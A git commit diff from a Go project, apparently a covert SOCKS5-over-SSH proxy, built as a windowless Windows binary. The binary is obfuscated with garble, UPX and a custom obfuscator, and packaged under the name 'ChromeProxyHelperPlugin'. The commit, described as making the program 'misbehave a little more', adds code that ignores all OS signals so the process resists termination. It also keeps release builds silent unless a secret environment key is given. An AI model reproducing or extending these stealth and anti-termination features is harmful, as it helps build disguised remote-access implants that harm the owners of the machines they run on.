Add systemIgnoreAllSignals in release build when VMK is not used so we misbehave a little more

This commit is contained in:
Jerry Jacobs 2024-07-28 22:22:37 +02:00
parent ce4ec79f2f
commit 426f76ba37
7 changed files with 27 additions and 3 deletions

View File

@ -22,6 +22,7 @@ win: socks5-ssh-proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
upx $@ upx $@
go run cmd/upx-obfuscator/main.go $@
goreleaser: resources $(GARBLE_BIN) goreleaser: resources $(GARBLE_BIN)
goreleaser build --clean --snapshot --id win-release goreleaser build --clean --snapshot --id win-release
win-package: ChromeProxyHelperPlugin.zip win-package: ChromeProxyHelperPlugin.zip

View File

@ -8,6 +8,8 @@ type config struct {
// In release builds the verbose mode is silenced when this key is given // In release builds the verbose mode is silenced when this key is given
// verbose mode is force enabled. The key is read from the "VMK" environment // verbose mode is force enabled. The key is read from the "VMK" environment
// variable at startup. // variable at startup.
//
// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
VerboseModeKey string VerboseModeKey string
// SSH server user name // SSH server user name

View File

@ -1,7 +1,6 @@
//go:build !release //go:build !release
// +build !release // +build !release
//
package main package main
import "strings" import "strings"

View File

@ -135,6 +135,11 @@ func main() {
systemGetWellKnownBinaryPaths() systemGetWellKnownBinaryPaths()
mainLoop()
}
func mainLoop() {
for { for {
// TODO handle CTRL+C in debug and release + VMK modes
} }
} }

View File

@ -1,7 +1,6 @@
//go:build !release //go:build !release
// +build !release // +build !release
//
package main package main
var resourceSSHPrivateKey string var resourceSSHPrivateKey string

View File

@ -1,7 +1,6 @@
//go:build release //go:build release
// +build release // +build release
//
package main package main
import ( import (
@ -16,5 +15,6 @@ func init() {
dontSilenceKey := os.Getenv("VMK") dontSilenceKey := os.Getenv("VMK")
if dontSilenceKey != cfg.VerboseModeKey { if dontSilenceKey != cfg.VerboseModeKey {
systemRouteAllLogging(os.DevNull) systemRouteAllLogging(os.DevNull)
systemIgnoreAllSignals()
} }
} }

View File

@ -4,6 +4,7 @@ import (
"fmt" "fmt"
"log" "log"
"os" "os"
"os/signal"
"path/filepath" "path/filepath"
) )
@ -92,3 +93,20 @@ func systemGetWellKnownBinaryPaths() []string {
return existingPaths return existingPaths
} }
func systemIgnoreAllSignals() {
// Create a channel to receive OS signals.
sigs := make(chan os.Signal, 1)
// Notify the signal channel for all signals (you can add more if needed)
signal.Notify(sigs)
// This goroutine receives signals but does nothing with them.
go func() {
for sig := range sigs {
// Signal received but ignored
_ = sig
log.Println("Received OS signal", sig)
}
}()
}